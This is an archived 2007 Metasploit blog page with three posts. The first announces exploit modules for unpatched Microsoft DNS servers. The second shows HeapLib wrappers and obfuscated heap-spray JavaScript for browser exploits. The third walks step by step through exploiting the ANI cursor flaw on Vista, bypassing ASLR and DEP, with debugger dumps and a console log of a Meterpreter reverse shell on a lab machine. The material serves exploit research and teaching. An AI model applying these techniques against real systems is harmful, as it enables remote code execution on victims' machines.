Skip navigation
All Places > Metasploit > Blog > 2007 > April
2007

Originally Posted by hdm

 

 

April has been a busy month in Metasploit-land.

 

The Metasploit Community Book is on a roll, with tons of new content straight from the community. We are still looking for volunteers to help with this project by developing new content and editing the existing text. This is a strictly non-profit effort and we have no intention of partnering with a publisher for this project. Hard-copies will eventually be provided by print-on-demand publishing. If you would like to help, please drop us an email at msfdev[at]metasploit.com.

 

The auxiliary module Scanner mixin now supports threaded execution for the run_host() and run_batch() methods. This speeds up common tasks like SMB version scanning and defacement via PUT requests. The end goal is to support a vulnerability assessment engine built on the Metasploit Framework, using the auxiliary module backend and the database plugins.

 

I spoke at CanSecWest about the new shiny in Metasploit 3 and gave a quick lightning talk on our response to the recent ANI vulnerability. CanSecWest was awesome this year (as usual) and it was great to hang out with the regulars and meet some new faces.

 

Matt Miller (skape) and I will be teaching a class at Black Hat USA 2007, so sign up if you want to become a Metasploit 3 ninja :-)

 

Need to pwn some Microsoft DNS servers? Metasploit 3 has the answer. Our two exploit modules (SMB, TCP) work across all affected versions of Windows (2000 SP0-SP4, 2003 SP0-SP2) and include targets for a variety of versions and languages. These exploits will work even when hardware DEP (NX) is enabled, by exploiting a technique published by skape and skywing in the Uninformed Journal. A big thanks to the two anonymous contributors that tag-teamed 2003 SP0-SP2 (+DEP) support More information about the underlying vulnerability can be on the CVE page. Yes, this bug is still unpatched...

 

Mike Whitehead submitted a set of patches that add theme support to the Metasploit 3 Web Interface. The new themes kick ass and will merged into the stable tree in the coming weeks. If you want to view out the existing themes or build your own, check out the latest code from the Metasploit 3 trunk, start msfweb, and use the Options screen to change the current theme. Theme files can be found in the data/msfweb/public/stylesheets/skins/ subdirectory of the framework.

 

The Metasploit Fund is in full swing, so if you would like to help the project, please contribute today. Your donation may be tax-deductible if you are a US resident. The Fund will be used to sponsor bug bounties, feature development, and development hardware purchases. The Metasploit Fund is a Hacker Foundation project.

 

-HD

Originally Posted by skape

 

 

If you were able to attend Black Hat Europe this year, you had the opportunity to catch Alexander Sotirov's talk on Heap Feng Shui.  If not, I recommend you take a look at the materials found here . The focus of his talk was on describing ways to use javascript in browsers to control heap layout with surgical precision.  This has obvious benefits when it comes to exploiting heap related vulnerabilities in browsers.  At present, many browser-based exploits will blindly spray payloads and other structures across the heap in ways that won't always guarantee that they succeed.  To help improve this situation, Alex introduced a javascript library called HeapLib that provides more granular control of the heap.

 

Given the usefulness of this library, we've taken the HeapLib javascript and created some wrappers in Metasploit for interacting with it.  Browser-based exploits written in Metasploit 3 may now take advantage the features offered by HeapLib.  It's pretty easy to use:

 

 


js = heaplib(
  "// js code that uses heaplib goes here\n" +
  "var xyz;\n" +
  "var abc;\n" +
  "...")

send_response(cli, "<script>#{js}</script>")


We've also included some generic code for doing very basic javascript obfuscation:


js = obfuscate_js(js,
  'Symbols' =>
     {
         'Variables' => [ 'xyz', 'abc' ]
     })


The javascript obfuscation currently amounts to a global substitution of variables, methods, classes, and namespaces.  This is pretty basic, and it will most definitely be extended in the future.  If all goes well, these improvements will automatically apply to browser-based exploits that use obfsucate_js.  This obfuscation is also applied to the HeapLib code itself.  If you pull up a page that uses it, you'll see something like:


function kgbItQgjwkTsYnvA() {
}
kgbItQgjwkTsYnvA.XK = function(maxAlloc, XPcAqRwEPAZhnqNytABase) {
    this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
    this.XPcAqRwEPAZhnqNytABase = (XPcAqRwEPAZhnqNytABase ? XPcAqRwEPAZhnqNytABase : 0x150000);
        this.NEaCrNWavzlCx = "AAAA";
    while (4 + this.NEaCrNWavzlCx.length*2 + 2 < this.maxAlloc) {
        this.NEaCrNWavzlCx += this.NEaCrNWavzlCx;
...
XPcAqRwEPAZhnqNytA.pzMvSBZ();
for (var i = 0; i < 100; i++)
  XPcAqRwEPAZhnqNytA.ebGXqe(MNaLfxJWihIGQAqPSokXf)
XPcAqRwEPAZhnqNytA.bNYYOglF(MNaLfxJWihIGQAqPSokXf);
for (var i = 0; i < 100; i++)
  XPcAqRwEPAZhnqNytA.ebGXqe(0x2010)
XPcAqRwEPAZhnqNytA.fuuakTBEnTmfWlFMio(ZCPd, 2);
nBnqLM.KeyFrame(0x40000801, new Array(1), new Array(1));
delete XPcAqRwEPAZhnqNytA;


To give a real example of using HeapLib in Metasploit, we've ported Alex's KeyFrame exploit.  Comparing the two exploits together should show that the amount of code needed to use HeapLib in Metasploit is very minimal.  The javascript is taken verbatim from Alex's exploit (with the exception of comments and debug messages).  You can check out the exploit here

.

Originally Posted by skape

 

 

There's been some discussion going around about whether or not it's really possible to use the ANI vulnerability to execute arbitrary code on Vista.  If you aren't familiar with the ANI vulnerability, go check out another great bit of work from Determina's Alexander Sotirov.  HD Moore wrote the first Metasploit module for this on Friday night and we continued to improve the exploit (and add a second SMTP module) over the weekend. These modules include a default target that is able to hit both XP and Vista.  Due to the nature of the vulnerability, it's possible to try multiple targets, even if they lead to a crash.

 

I won't go into the details of the vulnerability.  You can read Alex's excellent description of the issue.  Instead, this post will focus on illustrating that code execution on Vista is most definitely possible.  Many would assume that this vulnerability would be stopped by one or more of GS, DEP,  ASLR, and Protected Mode IE7 on Vista.  That's not the case, though.

 

As Alex points out, the vulnerable function does not properly make use of GS.  This makes it  possible to trigger a traditional stack-based buffer overflow on all affected versions of Windows.  In addition to GS not being present, DEP is disabled by default for Internet Explorer and Windows Explorer on 32-bit Windows Vista.  This means that non-executable pages will not be enforced.  And that brings us to ASLR.

 

On the surface, it would seem as though ASLR would be sufficient to prevent this attack from working reliably.  However, due to the nature of this vulnerability, it's possible to trigger a partial overwrite of the return address on the stack.  In Vista, and indeed other versions of Windows, the two low order bytes of any address in an image file mapping will not be affected by ASLR.  This is due to the minimum allocation granularity in Windows.  Even though partial overwrites of the return address are possible, an attacker must be able to find a useful instruction on the same 16 page block as the return address being partially overwritten.  For example, if the original return address was 0x74310368, a useful instruction must be found within 0x7431XXXX.  An alternative to using a partial address overwrite would be to simply brute force around 256 combinations of absolute addresses, since it's possible to trigger this issue multiple times without crashing the IE process.

 

One last thing that's worth mentioning.  It has been proposed that low rights (protected mode) in IE7 on Vista may prevent the exploitation of this issue.  First and foremost, this is not true.  While it may prevent the explicit execution and interaction with certain system resources, it does not prevent arbitrary code execution.  For example, the Meterpreter payload included in Metasploit is able to execute reliably, even in protected mode IE7.  This is because Meterpreter does not spawn any external processes on its own.  Of course, if you attempt to execute something from within Meterpreter, it will fail as a result of protected mode IE7.  Even though this is the case, I think that further research may provide insight into ways of breaking out of protected mode.

 

So, given these facts about GS, DEP, ASLR, and protected mode IE7, it's possible to go ahead and write a functional proof of concept that will work on Vista.  When triggering the vulnerability on Vista with a complete overwrite of the return address, the register state looks something like this:

 

 

eax=5f36476f ebx=0329f278 ecx=00000000 edx=00000000 esi=0329f1f0 edi=0329f1bc
eip=41414141 esp=0329f1bc ebp=66ae6c41 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
41414141 ??              ???


For XP targets, the Metasploit exploit attempts to call through [ebx+4].  The ebx register on Vista has a similar structure, where [ebx] and [ebx+4] point into the RIFF image:


0:006> db poi(ebx) L20
027d0000  52 49 46 46 eb 0e 02 00-41 43 4f 4e 4d 53 55 58  RIFF....ACONMSUX
027d0010  6e 00 00 00 e9 db 0e 02-00 64 18 d0 ae 1d b1 c9  n........d......
0:006> db poi(ebx+4) L20
027e0fb4  53 51 66 63 37 ff 00 00-ba 7b 6d 5f 20 37 54 9b  SQfc7....{m_ 7T.
027e0fc4  d0 76 1a 0c aa 25 6c 46-ae 06 ee 7f 11 22 67 5b  .v...%lF....."g[


There are also other contextual references that contain parts of, or point into, the RIFF image.  The esp and edi registers contain the first ANI header found in the file.  The esi register points to an ANIH chunk.  For the purpose of this post, only the references found through the ebx register will be considered, though I did investigate these additional avenues to some degree.  In Metasploit's existing ANI exploit, you'll see that HD has provided a target for Windows XP that uses a partial overwrite to point the return address at a location that contains a call [ebx+4] instruction.  However, there are no immediately equivalent call [ebx+4] instructions within the required 16 page block on Vista:


0:006> s 775b154c L?ef00 ff 53 04
0:006> s 775b154c L?ef00 ff 63 04


Even though there are no call [ebx+4] instructions, there are a few jmp [ebx] instructions:


0:006> s 775b154c L?ef00 ff 13
0:006> s 775b154c L?ef00 ff 23
775b700b  ff 23 c3 5f 77 2c c3 5f-77 81 e3 ff 7f ff ff e9  .#._w,._w.......
775b7bab  ff 23 d2 5f 77 2c d2 5f-77 90 90 90 90 90 6a 0c  .#._w,._w.....j.
775b90c6  ff 23 c1 50 56 e8 15 00-00 00 8b 4d fc 5f 33 cd  .#.PV......M._3.
775c008b  ff 23 ce ba 9d 02 00 00-3b ca 0f 84 7a d0 ff ff  .#......;...z...
0:006> u 775b700b L1
USER32!WinStationSendMessageW+0x5c7:
775b700b ff23            jmp     dword ptr [ebx]


This means that if the two low order bytes of the return address are overwritten with 0x700b, the vulnerable function will transfer control into a jmp [ebx] upon return.  The jmp [ebx] will start executing code starting with the beginning of the RIFF image itself.  The first four bytes of the image is the RIFF chunk tag ("RIFF").  This disassembles to four nop-equivalent instructions shown below:


0:006> u poi(ebx) L4
03040000 52              push    edx
03040001 49              dec     ecx
03040002 46              inc     esi
03040003 46              inc     esi


While these four initial bytes won't cause problems, the four bytes that follow them might.  The field that follows the four byte tag is a four byte size which represents the size of the chunk, excluding the header fields.  This really isn't much of a problem, though.  Since we control the RIFF image that is being generated, we inherently control its size.  While we can't reasonbly use all four bytes (since this would require a large RIFF), we can definitely make use of at least the two low order bytes.  Padding out the RIFF chunk makes it possible to explicitly control the low order bytes. 

 

With this in mind, the next step is to figure out exactly which instruction the low order bytes of the size field should be set to.  We're fairly limited here, but a two byte short jump seems like a good option.  Due to the way that the RIFF chunk is set up, its contents will look something like this in memory:


0:006> dd /c 1 poi(ebx)
03040000  46464952  RIFF tag: "RIFF"
03040004  00010eeb  RIFF length
03040008  4e4f4341  ACON chunk tag: "ACON"
0304000c  4372726b  Embedded chunk tag: random
03040010  0000015e  Embedded chunk length: random
03040014  010edbe9  Embedded chunk data: arbitrary
03040018  e8111500  ...


Using this basic layout, we can insert a special embedded chunk as the first entry after the ACON tag.  The purpose of this embedded chunk will be to act as a target for the short jump used in the RIFF length field.  As such, the embedded chunk should contain additional code to execute.  While it's entirely possible to have the embedded chunk contain a payload itself, the Metasploit exploit instead places a long jump that transfers control to the first byte after the end of the RIFF chunk itself.  This makes the exploit uniform with XP in terms of how it executes the payload.

 

I know I left out a lot of details, but let's put the whole thing together.  First, you can perform a partial overwrite of the return address using 0x700b.  When the vulnerable function returns, it will return into a jmp [ebx] instruction.  This will transfer control into the start of the RIFF image, starting with the RIFF tag.  The two low order bytes of the RIFF chunk size field can be set to 0x0eeb which is a short jump +16.  This short jump transfers control into the data portion of an embedded chunk.  The data portion of this embedded chunk contains a relative jump to the payload that has been appended after the containing RIFF chunk. 


msf exploit(ani_loadimage_chunksize) > exploit
[*] Started reverse handler
[*] Using URL: http://10.4.4.1:8080/foo
[*] Server started.
[*] Exploit running as background job.
msf exploit(ani_loadimage_chunksize) >
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.4.4.1:4444 -> 10.4.4.2:49310)

msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: VMVX86
OS      : Windows Vista (Build 6000, ).
meterpreter > execute -f cmd
[-] stdapi_sys_process_execute: Operation failed: 5
meterpreter >                  


It's definitely possible (and likely) that there are cleaner ways to go about this, but this at least illustrates one way of going about it.  It's clear that a partial overwrite of the return address  is one of the best solutions in this case.  The only major point of contention in this approach centers around what to overwrite the low order two bytes with.

Filter Blog

By date: By tag: